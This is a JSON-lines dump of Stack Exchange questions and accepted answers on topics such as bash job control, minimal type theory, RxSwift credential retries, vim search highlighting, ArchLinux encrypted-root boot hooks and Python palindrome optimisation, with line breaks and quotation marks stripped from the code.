{  "id": "_unix.327290"  , "question": "Is there a way to save pid while starting a process? The script should not return to a command line, until started process finishes. And the possibility to end process by Ctrl+C should be kept."  , "title": "How to start process at foreground saving it's pid to a file?"  , "tags": "bash;process"  , "accepted_answer": "command &echo $! > filefg > /dev/nullIf there's no job control, first turn on monitor mode withset -mMore about monitor mode here: Turning off the monitor mode in Bash."  } 
{  "id": "_cs.54548"  , "question": "I'm surprised that people keep adding new types in type theories but no one seems to mention a minimal theory (or I can't find it). I thought mathaticians love minimal stuff, don't they?If I understand correctly, in a type theory with a impredicative Prop, -abstraction and -types suffice. By saying suffice I mean it could be used as intuitionistic logic. Other types can be defined as following:$$\\bot \\stackrel{def}{=} \\Pi \\alpha: Prop. \\alpha \\\\\\neg A \\stackrel{def}{=} A \\to \\bot \\\\A \\land B \\stackrel{def}{=} \\Pi C: Prop. (A \\to B \\to C) \\to C \\\\A \\lor B \\stackrel{def}{=} \\Pi C: Prop. (A \\to C) \\to (B \\to C) \\to C \\\\\\exists_{x: S}(P(x)) \\stackrel{def}{=} \\Pi \\alpha: Prop. (\\Pi x: S. P x \\to  \\alpha) \\to \\alpha \\\\$$My first question is, do they (, ) really suffice?My second question is, what do we need minimally if we don't have an impredicative Prop, such as in MLTT? In MLTT, Church/Scott/whatever encoding doesn't work.Edit: related"  , "title": "Minimal intuitionistic type theory?"  , "tags": "type theory;dependent types"  , "accepted_answer": "To elaborate on gallais' clarifications, a type theory with impredicative Prop, and dependent types, can be seen as some subsystem of the calculus of constructions, typically close to Church's type theory. The relationship between Church's type theory and the CoC is not that simple, but has been explored, notably by Geuvers excellent article.For most purposes, though, the systems can be seen as equivalent. Then indeed, you can get by with very little, in particular if you're not interested in classical logic, then the only thing you really need is an axiom of infinity: it's not provable in CoC that any types have more than 1 element! But with just an axiom expressing that some type is infinite, say a natural numbers type with the induction principle and the axiom $0\\neq 1$, you can get pretty far: most of undergraduate mathematics can be formalized in this system (sort of, it's tough to do some things without the excluded middle).Without impredicative Prop, you need a bit more work. As noted in the comments, an extensional system (a system with functional extensionality in the equality relation) can get by with just $\\Sigma$ and $\\Pi$-types, $\\mathrm{Bool}$, the empty and unit types $\\bot$ and $\\top$, and W-types. In the intensional setting that's not possible: you need many more inductives. Note that to build useful W-types, you need to be able to build types by elimination over $\\mathrm{Bool}$ like so:$$ \\mathrm{if}\\ b\\ \\mathrm{then}\\ \\top\\ \\mathrm{else}\\ \\bot  $$To do meta-mathematics you'll probably need at least one universe (say, to build a model of Heyting Arithmetic).All this seems like a lot, and it's tempting to look for a simpler system which doesn't have the crazy impredicativity of CoC, but is still relatively easy to write down in a few rules. One recent attempt to do so is the $\\Pi\\Sigma$ system described by Altenkirch et al. It's not entirely satisfying, since the positivity checking required for consistency isn't a part of the system as is. The meta-theory still needs to be fleshed out as well.A useful overview is the article Is ZF a hack? by Freek Wiedijk, which actually compares the hard numbers on all these systems (number of rules and axioms)."  } 
{  "id": "_codereview.162176"  , "question": "The below code works because of the do operator on line 24. Is there a more functional way to get the test to pass, or would you consider this an appropriate use of do?import RxSwiftstruct Token: Equatable {    let rawValue: String    static func ==(lhs: Token, rhs: Token) -> Bool {        return lhs.rawValue == rhs.rawValue    }}protocol Login {    func getCredentials() -> Observable<(email: String, password: String)>    func presentAuthFailure(_ error: Observable<Error>)}protocol Network {    func getAuthToken(credentials: (email: String, password: String)) -> Observable<Token>}// MARK: - function Under Testfunc checkCredentials(login: Login, network: Network) -> Observable<Token> {    let credentials = login.getCredentials()    let token = credentials.flatMap { network.getAuthToken(credentials: $0) }        .do(onError: { login.presentAuthFailure(Observable.just($0)) }) // can this be done in some other way?    return token.retry()}// MARK: - Test harnessclass MockLogin: Login {    func getCredentials() -> Observable<(email: String, password: String)> {        assert(_credentials == nil)        _credentials = PublishSubject()        return _credentials!    }    func presentAuthFailure(_ error: Observable<Error>) {        _ = error.subscribe(onNext: { [unowned self] error in            assert(self._error == nil)            self._error = error        })    }    var _credentials: PublishSubject<(email: String, password: String)>?    var _error: Error?}class MockNetwork: Network {    func getAuthToken(credentials: (email: String, password: String)) -> Observable<Token> {        assert(_token == nil)        _token = PublishSubject()        return _token!    }    var _token: PublishSubject<Token>?}func testTwoBadAttempts(login: MockLogin, network: MockNetwork) {    checkCredentials(login: login, network: network).subscribe()    assert(login._credentials != nil)    let credentials = (email: foo, password: bar)    login._credentials?.onNext(credentials)    assert(network._token != nil)    let error = NSError(domain: testing, code: -1, userInfo: nil)    network._token?.onError(error)    assert(login._error != nil)    network._token = nil    login._error = nil    login._credentials?.onNext(credentials)    network._token?.onError(error)    assert(login._error != nil)}let login = MockLogin()let network = MockNetwork()testTwoBadAttempts(login: login, network: network)"  , "title": "Notify user of credential failure and make another attempt"  , "tags": "error handling;swift;authentication;reactive programming;rx swift"  } 
{  "id": "_webmaster.75968"  , "question": "First, I don't know if it's the right site to post this so sorry if not.I want to create a website which permits users to create events.In a legal and webmaster way, am I responsible if users create illegal events (like racist gathering)?"  , "title": "Allow some illegal gathering without knowing it"  , "tags": "administration"  , "accepted_answer": "To some extend, yes. Your site, your domain, your responsibility.But; I assume you have ToS which tells people not to do hatefull/offensive on your site, with some kind of penalty ((temp)ban, removal, ...). If you check events which are flagged as bad, and delete/cancel those when encounter you shouldn't get in much trouble. I find that You will be held responsible for your own content works well too.If someone reports something bad, and you decide they're correct and delete it, you should be safe.I'm no legal expert, but this has worked for me so far. When someone complains, I review it and send a polite message (whatever their tone might've been!) regarding my actions."  } 
{  "id": "_unix.366642"  , "question": "So today when I attached my wireless keyboard I discovered that other Bluetooth USB adapter (which I used to connect with my headphones, receive files from phone) is not working anymore.When I type lsusb in Terminal I get only one busy spot.Bus 004 Device 004: ID 046d:c534 Logitech, Inc. Unifying Receiver which is the receiver for keyboard and mouse.All others are like this Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hubIs there a way to get them both working or make the old one to accept keyboard and mouse also, because I think the receiver doesn't have functionality for all this (file transfer, headphones etc.)?P.S. - I am using Ubuntu 16.04 LTS 32-bit"  , "title": "Two Bluetooth adapters working simultaneously"  , "tags": "bluetooth;ubuntu mate"  } 
{  "id": "_unix.84525"  , "question": "Sometimes when I update my software with yum update, the summary of packages to be updated displays two lists: Updating and Updating for dependencies.  The packages in the Updating for dependencies lists were previously installed.  Why is there a separate list of packages like this?  What does this mean for these packages?"  , "title": "What does yum's Updating for dependencies mean?"  , "tags": "fedora;yum"  , "accepted_answer": "These are run-time dependencies in the packages you're actually trying to update (meaning the software you asked for either uses them directly or uses them indirectly through a secondary package that does use the given dependency). The newer versions of the packages you're trying to go to will sometimes link against specific versions of the software they depend on or be designed with a particular software version in mind so Updating for Dependencies means that in order to have the software you requested be installed/updated it needs to upgrade these other packages otherwise the software you did request may behave erratically (if at all).The analogous concept in the Windows world are software products or patches thereof that require particular service packs already be installed. In other words, the software has a run-time dependency on that service pack.As a more direct example, many applications list glibc as a dependency. If you currently have one version of glibc but try to install a version that was compiled against an updated version, yum will automatically figure out (via metadata) that it needs to update glibc then install the package you asked for.As for why it's itemized separately, it's purely for clarity. If yum just suddenly showed you a huge list of software it was about to install, you might say No, no no, that's not what I asked you to do at all! and think something went wrong (like a bug or something). Itemizing them separately as dependencies let's you know No, everything's fine, we just need to update these packages to get to the one you asked for.IIRC there's also a Install for dependency category which lists new software differently so you can see when it gets introduced through a system update versus just when it forced an update of an already installed package."  } 
{  "id": "_codereview.172398"  , "question": "My code style is capped 128 characters, not 80 characters. This abstract base class constructor initializes some resources which are injected in the implementations. However, I cannot assume that will be always the case, so I used some try catching to and Apache Commons Lang3 Validate to validate my inputs and throw applicable errors. The base class is normally implemented as a stateless ejb, because of the database rollback features. The BusinessConfigurationException extends Exception and is annotated with @ApplicationException(rollback = true), so that these checked exceptions will be thrown without being wrapped in an EJBException and will do a rollback of all database actions correctly./** * BaseController constructor with injectable parameters. * * @param configBundle Configuration parameters for the application. * @param errorsBundle Error messages thrown by the application. * @param em Needs to be injected from implementation. * @param clazz The class that implements the BaseEntity. * @throws BusinessConfigurationException When the property value returns an error somehow. */public BaseController(final ResourceBundle configBundle, final ResourceBundle errorsBundle, final EntityManager em,        final Class<T> clazz) throws BusinessConfigurationException {    try {        Validate.notNull(configBundle);        this.baseURI = configBundle.getString(HOST_NAME) + configBundle.getString(APPLICATION_NAME)                + configBundle.getString(BASE_PATH);    } catch (NullPointerException | MissingResourceException | ClassCastException ex) {        log.error(Cannot initialize baseURI in BaseController constructor., ex);        throw new BusinessConfigurationException(ex.getMessage());    }    try {        Validate.notNull(errorsBundle);        this.errorsBundle = errorsBundle;    } catch (NullPointerException ex) {        log.error(Cannot initialize errorsBundle in BaseController constructor., ex);        throw new BusinessConfigurationException(ex.getMessage());    }    try {        Validate.notNull(em);        this.em = em;    } catch (NullPointerException ex) {        log.error(Cannot initialize em in BaseController constructor., ex);        throw new BusinessConfigurationException(findErrMsg(EM_NOT_AVAILABLE));    }    // No business exceptions thrown for valdidations below. This is a programmer fault.    Validate.notNull(clazz);    Validate.isAssignableFrom(clazz, BaseEntity.class);    this.clazz = clazz;    this.resourceName = clazz.getSimpleName().toLowerCase();}"  , "title": "Initializing some resources"  , "tags": "java"  } 
{  "id": "_unix.78063"  , "question": "The scenario: I log on a server using ssh, and search for keywords in a log file using vi.The problem: at the moment, the results of a search is only highlighted by a cursor _ below the searched word, which is not very easy to find on a screen of log messages.The question: how can I change the highlighting of the search results to something more noticeable? e.g. different background and foreground colors on the whole word."  , "title": "How to change search result highlight in vi?"  , "tags": "ssh;vim;vi"  , "accepted_answer": "Switch to vim, and use :set hlsearchYou can then use :highlight Search ctermfg=yellow to customize; where:cterm is for formatingctermfg is for foreground colorctermbg is for background colorsee :help highlight linkYou can then use :noh to temporarily hide the last search highlight."  } 
{  "id": "_webapps.8754"  , "question": "I have a Google Apps Account which has recently been changed to a full Google Account which has the email address me@mydomain.com . I also have a gmail account with me@gmail.com . The Gmail account has stuff stored in Google Calendar, and is linked to a YouTube account. The Google Apps account has Google Analytics in use, and Google Docs. Both accounts have Google Reader in use.Is it possible to fully merge these two accounts? At the moment, the Gmail account just forwards all email to Google Apps account, but I would like to have the Calendar and YouTube accounts also under the one account. If not, is there a way to migrate my calendar data to the Google Apps account?"  , "title": "Merge Google Accounts?"  , "tags": "google apps;google calendar;google account"  , "accepted_answer": "According to Google's support docs, it's not possible to merge accounts.They do offer a comprehensive list of how to move and share data between Google accounts.  For the specific products you mention:Google Reader can export feeds from one account and import to anotherCalendars can be shared; if you have meeting invites being forwarded via email you should be able to accept them on the new account.It is possible to unlink a YouTube account (by visiting this webpage) from one Google account and re-link it to another (by visiting this other webpage)."  } 
{  "id": "_unix.344057"  , "question": "If I make a .tar.gz viatar czvf - ./myfiles/ | pigz -9 -p 16 > ./mybackup.tar.gz,Can I safely unzip an already gzip'd file ./myfiles/an_old_backup.tar.gz within the ./myfiles directory viagzip -d mybackup.tar.gztar -xvf mybackup.tarcd myfilesgzip -d an_old_backup.tar.gztar -xvf an_old_backup.tar? And can one do this recursive compression safely ad infinitum?"  , "title": "Is it safe to do recursive compression with tar, gzip and pigz?"  , "tags": "backup;tar;recursive;compression;gzip"  , "accepted_answer": "If your question can be rephrased as is it OK to have compressedarchives within compressed archives?, then the answer is yes.This may not be the most convenient (as you note, you will have to runtar several files to get everything unpacked), and applyingcompression to data that has already been compressed may not yield anadditional reduction in size, but it will all work."  } 
{  "id": "_unix.218456"  , "question": "Here's what I did:copied some files from server to my local computerscp root@remotemachine:/var/log/nginx/* /home/me/logsdeleted the files on the serverThe next moment I realized, that I forgot to create the target directory on the local machine (/home/me/logs). Now instead of copied files inside 'logs' I see a file called 'logs' that looks like gzip archive, but file-roller doesn't recognize it as a valid gzip archive."  , "title": "What happens to my files if I scp-ed to non existing directory"  , "tags": "directory;scp;gzip"  , "accepted_answer": "In this case scp will copy each source file to /home/me/logs, overwriting /home/me/logs with the contents of each new file.The result is that /home/me/logs will be a copy of the last source file in the list. All the other source files are lost.Oops! Regular cp warns and aborts in this case, at least!"  } 
{  "id": "_ai.2826"  , "question": "Short version of this question: where in the OpenAI Gym docs can you find more information about an environment, like what each of the variables in an observation means, and so on.As per their docs (https://gym.openai.com/docs), you can get the state space as follows:env.observation_spaceThe problem is, these just look like random numbers in an array.Using CartPole-v0 as an example, the bounds are given as:env.observation_space.high # array([  4.80000000e+00,   3.40282347e+38,   4.18879020e-01, 3.40282347e+38])env.observation_space.low# array([ -4.80000000e+00,  -3.40282347e+38,  -4.18879020e-01, -3.40282347e+38])It seems intuitive after reading some papers about the inverted pendulum, that the state is typically represented by a 4-tuple of (angle, angular speed, horizontal displacement, horizontal speed).This also suggests that the observation space bounds are actually meant to represent:Low: (-pi, -inf, x_min, -inf)High: (+pi, +inf, x_max, +inf)The magnitude of the 2nd and 4th lows/highs seem to suggest that they do indeed represent angular speed and horizontal speed.But why does the 1st low/high not correspond to -/+pi?Where can more information be found about what these numbers actually represent?"  , "title": "Where do I find documentation about specific OpenAI Gym environments?"  , "tags": "reinforcement learning"  } 
{  "id": "_unix.177014"  , "question": "I used mount to show mounted drives, I don't want to see the not so interesting ones (i.e. non-physical). So I used to have a script mnt that did:mount | grep -Ev 'type (proc|sysfs|tmpfs|devpts) 'under Ubuntu 8.04 and showed me ext3 and reiserfs mount points only. That line is actually commented out and now I use (for Ubuntu 12.04):mount | grep -Ev 'type (proc|sysfs|tmpfs|devpts|debugfs|rpc_pipefs|nfsd|securityfs|fusectl|devtmpfs) 'to only show my ext4 and zfs partitions (I dropped using reiserfs).Now I am preparing for Ubuntu 14.04 and the script has to be extended again (cgroup,pstore). Is there a better way to do this without having to extend the script? I am only interested in physical discs that are mounted and mounted network drives (nfs,cifs)."  , "title": "Showing only interesting mount points / filtering non interesting types"  , "tags": "linux;filesystems;mount"  , "accepted_answer": "The -t option for mount also works when displaying mount points and takes a comma separated list of filesystem types:mount -t ext3,ext4,cifs,nfs,nfs4,zfsI am not sure if that is a better solution. If you start using (e.g. btrfs) and forget to add that to the list you will not see it and maybe not miss it. I'd rather actively filter out any new uninteresting filesystem when they pop up, even though that list is getting long.You can actively try to only grep the interesting mount points similar to what @Graeme proposed, but since you are interested in NFS/CIFS mounts as well (which don't start with /), you should do:mount | grep -E --color=never  '^(/|[[:alnum:]\\.-]*:/)'( the --color is necessary to suppress coloring of the initial / on the lines found). As Graeme pointed out name based mounting of NFS shares should be allowed as well. The pattern either selects lines starting with a / or any combination of a-zA-Z0-9. followed by :/ (for NFS mounts). "  } 
{  "id": "_unix.33236"  , "question": "I have a utility that takes a load of different arguments. For now, I want to autocomplete the first argument, but leave all the others to fall through to normal autocompletion. How do I do that?function _my_autocomplete_(){    case $COMP_CWORD in        1) COMPREPLY=($(compgen -W $(get_args_somehow) -- ${COMP_WORDS[COMP_CWORD]}));;        *) # What goes here?    esac}complete -F _my_autocomplete_ mycommand"  , "title": "Configure autocomplete for the first argument, leave the others alone"  , "tags": "bash;autocomplete"  , "accepted_answer": "Apparently I completely missed your question.  The answer is that there's no well-defined normal autocompletion.  However, if you know what sort of thing you'd like it to complete (files, aliases, pids, variable names, etc.), you can give one or more flags to compgen.  See this compgen manual page, specifically the -A options under complete (they're the same).  E.g. if you want to complete file names, you would use this:compgen -f -- ${COMP_WORDS[COMP_CWORD]}If you want to complete commands (incl. aliases, functions, etc.), you can use this:compgen -back -A functions -- ${COMP_WORDS[COMP_CWORD]}Use $COMP_CWORD to get the index of the word being completed. If the index isn't 1, set $COMPREPLY to () and return.COMP_CWORD    An index into ${COMP_WORDS} of the word containing the current     cursor position. This variable is available only in shell functions    invoked by the programmable completion facilities"  } 
{  "id": "_unix.28771"  , "question": "Possible Duplicate:How to delete part of a path in an interactive shell? Is there a short-cut in bash that lets you delete the last part of a path?Example: /usr/local/bin should become /usr/local/ (or /usr/local)I know of <ctrl>-w but it deletes the complete last word and I'd like to retain that functionality, too."  , "title": "How to remove last part of a path in bash?"  , "tags": "bash;readline"  } 
{  "id": "_webmaster.108336"  , "question": "I have a few articles that are in the top 3 of Google search results. They are currently accessed by the URL http://example.com/myarticle1. Now, I want to move that article to the other URL http://example.org/different-name-myarticle1. The old URL is referenced in many places on the internet. I don't want to break the links so I setup a 301 redirect returned from the server with the new location. A browser works perfectly but I'm wondering if the indexing bot will follow the redirects and keep the ranking of my page? Are there any risks?"  , "title": "Changing domain through 301 redirects - will I lose ranking position?"  , "tags": "redirects;indexing;ranking"  , "accepted_answer": "While you indeed seem to have done things perfectly with the 301 redirect, you might (temporarily) lose your rankings. This is due to the fact that Google is hesitant to immediately transfer all link metrics to new URLs after they redirect.Also, if the article indeed has a different name (as your example shows) then this might also impact your rankings.Furthermore, with each redirect you could lose some link juice, as referenced, for instance, in http://www.seoblog.com/2014/06/link-juice-lost-301-redirect/."  } 
{  "id": "_unix.155520"  , "question": "I have a problem with my new installation of ArchLinux with an encrypted partition. I guess I have done the same steps as before and it works on my other machine. The error message I get is:ERROR: device 'UUID=[....]' not found. SKipping fsck.ERROR: Unable to find root device 'UUID=[...]'.You are being drpped to recovery shell I have not typed in the UUID, it is the same in both lines.To fix this I have searched the internet. The first thing I have done was to change the HOOKS line in /etc/mkinitcpio.conf to:HOOKS=base udev block autodetect modconf keyboard keymap encrypt filesystems fsckAnd the second thing I have done is to arch-chroot into it, install linux with pacman and doing:grub-mkconfig -o /boot/grub/grub.cfgI have also checked the /etc/fstab file and this looks also correct and the grub UUID in the grub.cfg file looks also correct I have checked this with blkid. It is the UUID of /dev/mapper/vgarch-lvroot. The same counts for the machine on which it works.And the third thing I have done was to reinstall grub and redoing the steps but none of this has worked.Resources: first, secondI am looking forward to hear from you."  , "title": "Encrypted ArchLinux: unable to find root device"  , "tags": "boot;grub;uuid;cryptsetup"  , "accepted_answer": "I have solved my question, I have simply forget to add lvm2 in the HOOKS line of /etc/mkinitcpio.conf. Now it looks like:HOOKS = base udev autodetect modconf block keyboard keymap encrypt lvm2 filesystems fsck shutdown"  } 
{  "id": "_codereview.92106"  , "question": "This code adds and takes away background GIF images on scroll. I will be using this for 12 images on the same page but the code looks like it will get incredibly repetitive.My main concern is to get eventsGif() and teamsGif() to be the same function (since all 12 will be using the same sort of code).**edit to new code further down **I was thinking I could just call a manageGif() function and pass in the team or event object but then I'm not sure how to concatenate the variable name (ie eventGif). I then thought that instead of trying to concatenate the variable name, I could use two for loops and add all properties to objects in one function and then in the manageGif function I could loop through the objects and apply it to each. But now I'm just confused and starting over again.var gifAnimations = gifAnimations || {};gifAnimations = {    featurePageBool: x$('#set-feature-panel'),    teamGif: document.getElementById('witkit-teams'),    eventGif: document.getElementById('witkit-events'),    teams: null,    events: null,  getElementPositions: function(){     var de = document.documentElement;    var windowHight = window.innerHeight;     gifAnimations.teams = gifAnimations.getTopBottom(gifAnimations.teamGif, de, windowHight);    gifAnimations.events = gifAnimations.getTopBottom(gifAnimations.eventGif, de, windowHight);    gifAnimations.startGifAnimations();  },    getTopBottom: function(el, de, windowHight) {    var result = {};    var box = el.getBoundingClientRect();    result.top = box.top + window.pageYOffset - de.clientTop;    result.bottom = box.bottom + window.pageYOffset - de.clientTop;    result.diff = result.bottom - result.top;    result.padding = windowHight - result.diff;    return result;  },  startGifAnimations: function(){    var scrollPosition = (window.pageYOffset !== undefined) ? window.pageYOffset : (document.documentElement || document.body.parentNode || document.body).scrollTop;    gifAnimations.teamsGif(scrollPosition);    gifAnimations.eventsGif(scrollPosition);  },  teamsGif: function(scrollPosition){    var bg = gifAnimations.teamGif.getAttribute('style');    // these thresh are where the image is out of view     var topThreshold = (gifAnimations.teams.top+ gifAnimations.teams.diff) - scrollPosition - 55;    var bottomThreshold = ( gifAnimations.teams.bottom - gifAnimations.teams.diff - window.innerHeight )- scrollPosition;    if ( !(topThreshold > 0 && bottomThreshold < 0) ){      gifAnimations.teamGif.removeAttribute('style');//style.backgroundImage='url(../i/frame-one.gif)';    }     //these thresh is where animation should happen    var topTrigger = gifAnimations.teams.top - scrollPosition - 55;    var bottomTrigger = ( gifAnimations.teams.top + gifAnimations.teams.diff -window.innerHeight )- scrollPosition;    if (topTrigger > 0 && bottomTrigger < 0 && bg === null){//background-image: url(http://regan.dev.witkit.com/i/frame-one.gif); || bg === background-image: url(\\../i/frame-one.gif\\);)){        gifAnimations.teamGif.style.backgroundImage='url(../i/test.gif?'+Math.random()+')';      console.log(called)    }   },  eventsGif: function(scrollPosition){    var bg = gifAnimations.eventGif.getAttribute('style');    var topThreshold = (gifAnimations.events.top+ gifAnimations.events.diff) - scrollPosition - 55;    var bottomThreshold = ( gifAnimations.events.bottom - gifAnimations.events.diff - window.innerHeight )- scrollPosition;    if ( !(topThreshold > 0 && bottomThreshold < 0) ){      gifAnimations.eventGif.removeAttribute('style');    }     var topTrigger = gifAnimations.events.top - scrollPosition - 55;    var bottomTrigger = ( gifAnimations.events.top + gifAnimations.events.diff -window.innerHeight )- scrollPosition;    if (topTrigger > 0 && bottomTrigger < 0 && bg === null){      gifAnimations.eventGif.style.backgroundImage='url(../i/test2.gif?'+Math.random()+')';      console.log(called)    }   },}if(gifAnimations.featurePageBool){  window.addEventListener('resize', gifAnimations.getElementPositions);  document.addEventListener('scroll', gifAnimations.getElementPositions);}EDITI have managed to get it down to the following but I need the gif, gifElements and gifElementSizes to always be in the same order. Does anyone know how I can do this? For some reason Im really having a hard time making and using just simple team, event objects instead of the gif, gifElements and gifElementSizesvar gifAnimations = gifAnimations || {};gifAnimations = {    featurePageBool: x$('#set-feature-panel'),  gifElements: [    document.getElementById('witkit-events'),    document.getElementById('witkit-teams')  ],  gifs: [    ../i/test.gif,    ../i/test2.gif  ],  gifElementSizes:[],  getElementPositions: function(){     gifAnimations.getElementPositions = [];    var de = document.documentElement;    var windowHight = window.innerHeight;     for(var i=0;i<gifAnimations.gifElements.length;i++){      gifAnimations.getTopBottom(gifAnimations.gifElements[i], de, windowHight);    }    gifAnimations.manageGif();  },  getTopBottom: function(el, de, windowHight) {    var result = {};    var box = el.getBoundingClientRect();    result.top = box.top + window.pageYOffset - de.clientTop;    result.bottom = box.bottom + window.pageYOffset - de.clientTop;    result.diff = result.bottom - result.top;    result.padding = windowHight - result.diff;    gifAnimations.gifElementSizes.push(result);  },  manageGif: function() {     var scrollPosition = (window.pageYOffset !== undefined) ? window.pageYOffset : (document.documentElement || document.body.parentNode || document.body).scrollTop;    for(var i=0;i<gifAnimations.gifElements.length;i++){      var elGif = gifAnimations.gifElements[i];      var el = gifAnimations.gifElementSizes[i];      var gif = gifAnimations.gifs;      var bg = elGif.getAttribute('style');      // these thresh are where the image is out of view       var topThreshold = (el.top+ el.diff) - scrollPosition - 55;      var bottomThreshold = ( el.bottom - el.diff - window.innerHeight )- scrollPosition;      if ( !(topThreshold > 0 && bottomThreshold < 0) ){        elGif.removeAttribute('style');//style.backgroundImage='url(../i/frame-one.gif)';      }       //these thresh is where animation should happen      var topTrigger = el.top - scrollPosition - 55;      var bottomTrigger = ( el.top + el.diff -window.innerHeight )- scrollPosition;      if (topTrigger > 0 && bottomTrigger < 0 && bg === null){//background-image: url(http://regan.dev.witkit.com/i/frame-one.gif); || bg === background-image: url(\\../i/frame-one.gif\\);)){        elGif.style.backgroundImage='url('+gif[i]+'?'+Math.random()+')';        // console.log(called)      }     }  },}if(gifAnimations.featurePageBool){  window.addEventListener('resize', gifAnimations.getElementPositions);  document.addEventListener('scroll', gifAnimations.getElementPositions);}"  , "title": "Adding/removing background GIF images on scroll"  , "tags": "javascript"  } 
{  "id": "_softwareengineering.277278"  , "question": "I'm reviewing best practices articles for WCF versioning. A lot of the recommendations revolve around one decision: Are you using strict versioning? If so, treat every contract as immutable. If not, .. [list of additional recommendations..]The problem is that none of these articles really explain scenarios where you would assume strict versioning. That is, with two exceptions: 1) having no clue whatsoever as to what the client deploy base looks like (could be explicitly strict, could be Java, could be anything), and 2) not using WCF to begin with. But in a scenario where clients are carefully distributed within an enterprise, and only WCF is used, are there any other scenarios where one would choose to establish strict validation?"  , "title": "In WCF, why would one deliberately use strict schema validation?"  , "tags": "wcf;versioning"  } 
{  "id": "_codereview.9790"  , "question": "I tried to solve one SPOJ problem. I wrote one program in Python, however, it got accepted by the SPOJ judges, but its total execution time is 2.88s. The same algorithm used in C language having execution time 0.15s.Please offer suggestions on improving this approach.def tempPalindrome(inputString):     Code for finding out temporary palindrome. used by nextPalindrome function    inputList = list(inputString)    length = len(inputList)    halfL = inputList[:length/2]    halfL.reverse()    if (length % 2) == 0:        inputList = inputList[:length>>1] + halfL    else:        inputList = inputList[:(length>>1)+1] + halfL    #if new palindrome is greater than given number then return otherwise increment it    if ''.join(inputList) > inputString.zfill(length):        return inputList    else:        position  = length >> 1        if length %2 == 0:            position-=1        for i in range(position,  -1,  -1):            if inputList[i] == '9':                inputList[i] = '0'            else:                inputList[i] = chr(ord(inputList[i]) + 1)                break        if (i == 0) and (inputList[i] == '0'):            inputList = ['1'] + inputList            length += 1        halfL = inputList[:length/2]        halfL.reverse()        if (length % 2) == 0:            inputList = inputList[:length>>1] + halfL        else:            inputList = inputList[:(length>>1)+1] + halfL        return inputList    return Nonedef nextPalindrome():     Take an input from user and find next palindrome    inputs = list()    noOfCases = int(raw_input())    for i in range(noOfCases):        inputs.append(raw_input())    for inputString in inputs:        inputList = tempPalindrome(inputString)         print ''.join(inputList)    return Noneif __name__ == '__main__':    nextPalindrome()By profiling this code using cProfile profiler, I get the following output:    >>> 199101         119 function calls in 3.111 CPU seconds   Ordered by: standard name   ncalls  tottime  percall  cumtime  percall filename:lineno(function)        1    0.000    0.000    3.111    3.111 <string>:1(<module>)        2    0.000    0.000    0.000    0.000 AsyncFile.py:107(flush)        4    0.000    0.000    0.000    0.000 AsyncFile.py:121(fileno)        4    0.000    0.000    0.000    0.000 AsyncFile.py:16(AsyncPendingWrite)        2    0.000    0.000    0.000    0.000 AsyncFile.py:160(readline_p)        4    0.000    0.000    0.000    0.000 AsyncFile.py:261(write)        6    0.000    0.000    0.000    0.000 AsyncFile.py:55(__checkMode)        6    0.000    0.000    0.000    0.000 AsyncFile.py:67(__nWrite)        8    0.000    0.000    0.000    0.000 AsyncFile.py:88(pendingWrite)        2    0.000    0.000    0.000    0.000 AsyncIO.py:44(readReady)        2    0.000    0.000    3.111    1.555 DebugClientBase.py:318(raw_input)        2    0.000    0.000    3.111    1.555 DebugClientBase.py:34(DebugClientRawInput)        2    0.000    0.000    0.000    0.000 DebugClientBase.py:374(handleLine)        2    0.000    0.000    0.000    0.000 DebugClientBase.py:965(write)        2    0.000    0.000    3.110    1.555 DebugClientBase.py:987(eventLoop)        1    0.000    0.000    0.000    0.000 nextPalindrome.py:24(tempPalindrome)        1    0.000    0.000    3.111    3.111 nextPalindrome.py:65(nextPalindrome)        7    0.000    0.000    0.000    0.000 socket.py:223(meth)        2    0.000    0.000    0.000    0.000 utf_8.py:15(decode)        2    0.000    0.000    0.000    0.000 {_codecs.utf_8_decode}        7    0.000    0.000    0.000    0.000 {getattr}        7    0.000    0.000    0.000    0.000 {len}        1    0.000    0.000    0.000    0.000 {method 'append' of 'list' objects}        2    0.000    0.000    0.000    0.000 {method 'decode' of 'str' objects}        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}        1    0.000    0.000    0.000    0.000 {method 'encode' of 'str' objects}        2    0.000    0.000    0.000    0.000 {method 'encode' of 'unicode' objects}        4    0.000    0.000    0.000    0.000 {method 'fileno' of '_socket.socket' objects}        2    0.000    0.000    0.000    0.000 {method 'find' of 'str' objects}        6    0.000    0.000    0.000    0.000 {method 'find' of 'unicode' objects}        2    0.000    0.000    0.000    0.000 {method 'join' of 'str' objects}        4    0.000    0.000    0.000    0.000 {method 'recv' of '_socket.socket' objects}        2    0.000    0.000    0.000    0.000 {method 'reverse' of 'list' objects}        2    0.000    0.000    0.000    0.000 {method 'rfind' of 'str' objects}        6    0.000    0.000    0.000    0.000 {method 'rfind' of 'unicode' objects}        3    0.000    0.000    0.000    0.000 {method 'sendall' of '_socket.socket' objects}        1    0.000    0.000    0.000    0.000 {method 'zfill' of 'unicode' objects}        2    0.000    0.000    0.000    0.000 {range}        2    3.110    1.555    3.110    1.555 {select.select}"  , "title": "The Next Palindrome - reducing total execution time"  , "tags": "python;performance;beginner;programming challenge;palindrome"  , "accepted_answer": "Here are a few thoughts:Don't bother to store the inputs in a list, just convert and print as you go.  (This saves memory, but not processing time)Converting strings to lists and back again is costing you a lot of time.Looping over all characters is slow, better to use a built-in function if possible. Your main loop seems to be discarding lots of '9' characters so in this case you can use rstrip to do this much faster.I suspect a string functions will be faster than list functions (e.g. I would expect reversing a string to be faster than reversing a list of characters)In this case, the main optimisation is therefore to keep the processing based on strings rather than lists of characters.  Testing with a million character strings containing all 9s in Python 2.7, the code below is 28 times faster:def tempPalindrome(inputString):    inputList = inputString    length = len(inputList)    halfL = inputList[:length/2][::-1]      inputList = inputList[:(length+1)>>1] + halfL    if inputList > inputString.zfill(length):        return inputList    position  = (length-1) >> 1    i = len(inputList[:position+1].rstrip('9'))-1    num9s = position-i     if i>=0:        inputList = inputList[:i]+chr(ord(inputList[i]) + 1)+'0'*num9s+inputList[position+1:]    else:        inputList = '1' + '0'*num9s+inputList[position+1:]        length += 1    halfL = inputList[:length/2][::-1]    return inputList[:(length+1)>>1] + halfLdef nextPalindrome():    noOfCases = int(raw_input())    for i in xrange(noOfCases):        print tempPalindrome(raw_input())"  } 
